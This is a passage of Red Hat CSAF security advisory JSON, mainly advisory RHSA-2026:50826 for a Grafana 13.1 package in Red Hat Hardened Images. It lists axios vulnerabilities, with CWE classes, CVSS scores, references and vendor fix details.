      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana13-1-main@aarch64",
          "Red Hat Hardened Images:grafana13-1-main@src",
          "Red Hat Hardened Images:grafana13-1-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-67318"
        },
        {
          "category": "external",
          "summary": "RHBZ#2509989",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2509989"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-67318",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67318"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67318",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67318"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-mwf2-3pr3-8698",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-mwf2-3pr3-8698"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/axios-before-maxbodylength-bypass-via-http-2",
          "url": "https://www.vulncheck.com/advisories/axios-before-maxbodylength-bypass-via-http-2"
        }
      ],
      "release_date": "2026-08-01T12:22:18.116000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-03T16:47:50+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:49714"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "axios: axios: Denial of Service due to maxBodyLength bypass in HTTP/2 requests"
    }
  ]
}

{
  "document": {
    "aggregate_severity": {
      "namespace": "https://access.redhat.com/security/updates/classification/",
      "text": "Important"
    },
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "An update for Red Hat Hardened Images RPMs is now available.",
        "title": "Topic"
      },
      {
        "category": "general",
        "text": "This update includes the following RPMs:\n\ngrafana13.1:\n  * grafana13.1-13.1.1-0.5.2.hum1 (aarch64, x86_64)\n  * grafana13.1-13.1.1-0.5.2.hum1.src (src)\n\nSecurity Fix(es):\n\ngrafana13.1:\n  * CVE-2026-67313\n  * CVE-2026-67314\n  * CVE-2026-67315\n  * CVE-2026-67316\n  * CVE-2026-67317\n  * CVE-2026-67318\n  * CVE-2026-69152\n  * CVE-2026-69153\n  * CVE-2026-69192\n  * CVE-2026-69198",
        "title": "Details"
      },
      {
        "category": "legal_disclaimer",
        "text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
        "title": "Terms of Use"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "https://access.redhat.com/security/team/contact/",
      "issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
      "name": "Red Hat Product Security",
      "namespace": "https://www.redhat.com"
    },
    "references": [
      {
        "category": "self",
        "summary": "https://access.redhat.com/errata/RHSA-2026:50826",
        "url": "https://access.redhat.com/errata/RHSA-2026:50826"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-67313",
        "url": "https://access.redhat.com/security/cve/CVE-2026-67313"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-67314",
        "url": "https://access.redhat.com/security/cve/CVE-2026-67314"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-67315",
        "url": "https://access.redhat.com/security/cve/CVE-2026-67315"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-67316",
        "url": "https://access.redhat.com/security/cve/CVE-2026-67316"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-67317",
        "url": "https://access.redhat.com/security/cve/CVE-2026-67317"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-67318",
        "url": "https://access.redhat.com/security/cve/CVE-2026-67318"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-69152",
        "url": "https://access.redhat.com/security/cve/CVE-2026-69152"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-69153",
        "url": "https://access.redhat.com/security/cve/CVE-2026-69153"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-69192",
        "url": "https://access.redhat.com/security/cve/CVE-2026-69192"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-69198",
        "url": "https://access.redhat.com/security/cve/CVE-2026-69198"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/updates/classification/",
        "url": "https://access.redhat.com/security/updates/classification/"
      },
      {
        "category": "external",
        "summary": "https://images.redhat.com/",
        "url": "https://images.redhat.com/"
      },
      {
        "category": "self",
        "summary": "Canonical URL",
        "url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50826.json"
      }
    ],
    "title": "Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update",
    "tracking": {
      "current_release_date": "2026-09-07T07:25:52+00:00",
      "generator": {
        "date": "2026-09-07T07:25:52+00:00",
        "engine": {
          "name": "Red Hat SDEngine",
          "version": "5.3.16"
        }
      },
      "id": "RHSA-2026:50826",
      "initial_release_date": "2026-08-05T14:18:29+00:00",
      "revision_history": [
        {
          "date": "2026-08-05T14:18:29+00:00",
          "number": "1",
          "summary": "Initial version"
        },
        {
          "date": "2026-09-04T00:36:24+00:00",
          "number": "2",
          "summary": "Last updated version"
        },
        {
          "date": "2026-09-07T07:25:52+00:00",
          "number": "3",
          "summary": "Last generated version"
        }
      ],
      "status": "final",
      "version": "3"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_name",
                "name": "Red Hat Hardened Images",
                "product": {
                  "name": "Red Hat Hardened Images",
                  "product_id": "Red Hat Hardened Images",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:redhat:hummingbird:1"
                  }
                }
              }
            ],
            "category": "product_family",
            "name": "Red Hat Hardened Images"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "grafana13-1-main@aarch64",
                "product": {
                  "name": "grafana13-1-main@aarch64",
                  "product_id": "grafana13-1-main@aarch64",
                  "product_identification_helper": {
                    "purl": "pkg:rpm/redhat/grafana13.1@13.1.1-0.5.2.hum1?arch=aarch64\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-aarch64-rpms"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "aarch64"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "grafana13-1-main@src",
                "product": {
                  "name": "grafana13-1-main@src",
                  "product_id": "grafana13-1-main@src",
                  "product_identification_helper": {
                    "purl": "pkg:rpm/redhat/grafana13.1@13.1.1-0.5.2.hum1?arch=src\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-source-rpms"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "src"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "grafana13-1-main@x86_64",
                "product": {
                  "name": "grafana13-1-main@x86_64",
                  "product_id": "grafana13-1-main@x86_64",
                  "product_identification_helper": {
                    "purl": "pkg:rpm/redhat/grafana13.1@13.1.1-0.5.2.hum1?arch=x86_64\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-x86_64-rpms"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "x86_64"
          }
        ],
        "category": "vendor",
        "name": "Red Hat"
      }
    ],
    "relationships": [
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "grafana13-1-main@aarch64 as a component of Red Hat Hardened Images",
          "product_id": "Red Hat Hardened Images:grafana13-1-main@aarch64"
        },
        "product_reference": "grafana13-1-main@aarch64",
        "relates_to_product_reference": "Red Hat Hardened Images"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "grafana13-1-main@src as a component of Red Hat Hardened Images",
          "product_id": "Red Hat Hardened Images:grafana13-1-main@src"
        },
        "product_reference": "grafana13-1-main@src",
        "relates_to_product_reference": "Red Hat Hardened Images"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "grafana13-1-main@x86_64 as a component of Red Hat Hardened Images",
          "product_id": "Red Hat Hardened Images:grafana13-1-main@x86_64"
        },
        "product_reference": "grafana13-1-main@x86_64",
        "relates_to_product_reference": "Red Hat Hardened Images"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-67313",
      "cwe": {
        "id": "CWE-674",
        "name": "Uncontrolled Recursion"
      },
      "discovery_date": "2026-08-01T13:03:08.824485+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2510017"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in axios. A remote attacker could exploit an uncontrolled recursion vulnerability in the formDataToJSON function by supplying FormData with field names containing deeply nested bracket segments. This could exhaust the JavaScript call stack, leading to a RangeError and causing a denial of service (DoS) through request failure or process termination in affected applications.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: axios: Denial of Service via uncontrolled recursion in formDataToJSON",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana13-1-main@aarch64",
          "Red Hat Hardened Images:grafana13-1-main@src",
          "Red Hat Hardened Images:grafana13-1-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-67313"
        },
        {
          "category": "external",
          "summary": "RHBZ#2510017",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510017"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-67313",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67313"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67313",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67313"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-formdatatojson",
          "url": "https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-formdatatojson"
        }
      ],
      "release_date": "2026-08-01T12:22:16.493000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-05T14:18:29+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:50826"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "axios: axios: Denial of Service via uncontrolled recursion in formDataToJSON"
    },
    {
      "cve": "CVE-2026-67314",
      "cwe": {
        "id": "CWE-915",
        "name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
      },
      "discovery_date": "2026-08-01T13:03:49.884962+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2510030"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in axios. This vulnerability involves prototype pollution read-side gadgets within the basic authentication subfield handling. If an application is already susceptible to a separate prototype pollution issue and makes an axios request without specifying username or password in its authentication object, an attacker can inject malicious values. This allows for outbound request tampering, enabling the attacker to inject or replace basic authentication credentials in outgoing requests. Under specific application conditions, this could also lead to credential disclosure.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: axios: Outbound Request Tampering via Prototype Pollution in Basic Auth",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana13-1-main@aarch64",
          "Red Hat Hardened Images:grafana13-1-main@src",
          "Red Hat Hardened Images:grafana13-1-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-67314"
        },
        {
          "category": "external",
          "summary": "RHBZ#2510030",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510030"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-67314",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67314"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67314",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67314"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-auth-subfields",
          "url": "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-auth-subfields"
        }
      ],
      "release_date": "2026-08-01T12:22:16.603000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-05T14:18:29+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:50826"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.4,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "axios: axios: Outbound Request Tampering via Prototype Pollution in Basic Auth"
    },
    {
      "cve": "CVE-2026-67315",
      "cwe": {
        "id": "CWE-115",
        "name": "Misinterpretation of Input"
      },
      "discovery_date": "2026-08-01T13:03:15.269330+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2510019"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in axios. This vulnerability occurs because the software fails to correctly identify 0.0.0.0 as a local loopback address when evaluating NO_PROXY rules. A remote attacker could exploit this by providing a 0.0.0.0 URL, causing requests to bypass intended proxy restrictions. This could lead to the exposure of internal services to the configured proxy, potentially allowing unauthorized access to local resources.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: axios: NO_PROXY bypass allows exposure of local services",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana13-1-main@aarch64",
          "Red Hat Hardened Images:grafana13-1-main@src",
          "Red Hat Hardened Images:grafana13-1-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-67315"
        },
        {
          "category": "external",
          "summary": "RHBZ#2510019",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510019"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-67315",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67315"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67315",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67315"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/axios-before-no-proxy-bypass-via",
          "url": "https://www.vulncheck.com/advisories/axios-before-no-proxy-bypass-via"
        }
      ],
      "release_date": "2026-08-01T12:22:18.103000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-05T14:18:29+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:50826"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.8,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "axios: axios: NO_PROXY bypass allows exposure of local services"
    },
    {
      "cve": "CVE-2026-67316",
      "cwe": {
        "id": "CWE-915",
        "name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
      },
      "discovery_date": "2026-08-01T13:02:42.878796+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2510009"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in axios, a widely used JavaScript library for making web requests. This vulnerability, known as prototype pollution, allows an attacker to subtly alter how network requests are built if another part of the system has already been compromised. This could lead to an attacker injecting unauthorized data into requests that were not intended to have a body. In more advanced scenarios, an attacker could also redirect network traffic through their own malicious servers or manipulate how URLs are processed, potentially exposing sensitive information or allowing traffic modification.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: axios: Prototype Pollution allows unauthorized data transmission and network redirection",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "Low impact. This prototype pollution vulnerability in axios requires a pre-existing Object.prototype pollution from another flaw. Exploitation is further limited as the more severe aspects, such as proxy or paramsSerializer pollution, do not affect normal high-level axios API calls in versions 1.15.2 and later, which are common in Red Hat products.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana13-1-main@aarch64",
          "Red Hat Hardened Images:grafana13-1-main@src",
          "Red Hat Hardened Images:grafana13-1-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-67316"
        },
        {
          "category": "external",
          "summary": "RHBZ#2510009",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510009"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-67316",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67316"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67316",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67316"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-bodyless-methods",
          "url": "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-bodyless-methods"
        }
      ],
      "release_date": "2026-08-01T12:22:18.114000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-05T14:18:29+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:50826"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 3.7,
            "baseSeverity": "LOW",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Low"
        }
      ],
      "title": "axios: axios: Prototype Pollution allows unauthorized data transmission and network redirection"
    },
    {
      "cve": "CVE-2026-67317",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-08-01T13:03:53.063442+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2510031"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in axios. This vulnerability allows a remote attacker to bypass configured upload size limits by supplying unknown-length stream data when using WHATWG ReadableStream request bodies in the fetch adapter, specifically when the Content-Length cannot be determined. This can lead to uncontrolled network egress or resource exhaustion, resulting in a Denial of Service (DoS) for the affected system.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: axios: Denial of Service via maxBodyLength bypass with ReadableStream",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana13-1-main@aarch64",
          "Red Hat Hardened Images:grafana13-1-main@src",
          "Red Hat Hardened Images:grafana13-1-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-67317"
        },
        {
          "category": "external",
          "summary": "RHBZ#2510031",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510031"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-67317",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67317"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67317",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67317"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-jqh4-m9w3-8hp9",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-jqh4-m9w3-8hp9"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/axios-before-maxbodylength-bypass-via-readablestream",
          "url": "https://www.vulncheck.com/advisories/axios-before-maxbodylength-bypass-via-readablestream"
        }
      ],
      "release_date": "2026-08-01T12:22:16.662000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-05T14:18:29+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:50826"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "axios: axios: Denial of Service via maxBodyLength bypass with ReadableStream"
    },
    {
      "cve": "CVE-2026-67318",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-08-01T13:01:38.074319+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2509989"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in axios, a popular JavaScript library for making HTTP requests. When using the Node.js HTTP/2 adapter, axios fails to properly enforce the configured maxBodyLength limit for streamed request bodies. This allows a remote attacker, by controlling the input stream, to send an arbitrarily large amount of data. The primary impact is excessive resource consumption, increased network egress, and potential denial of service for the affected application.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: axios: Denial of Service due to maxBodyLength bypass in HTTP/2 requests",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana13-1-main@aarch64",
          "Red Hat Hardened Images:grafana13-1-main@src",
          "Red Hat Hardened Images:grafana13-1-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-67318"
        },
        {
          "category": "external",
          "summary": "RHBZ#2509989",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2509989"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-67318",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67318"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67318",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67318"
        },
        {
          "category": "external",
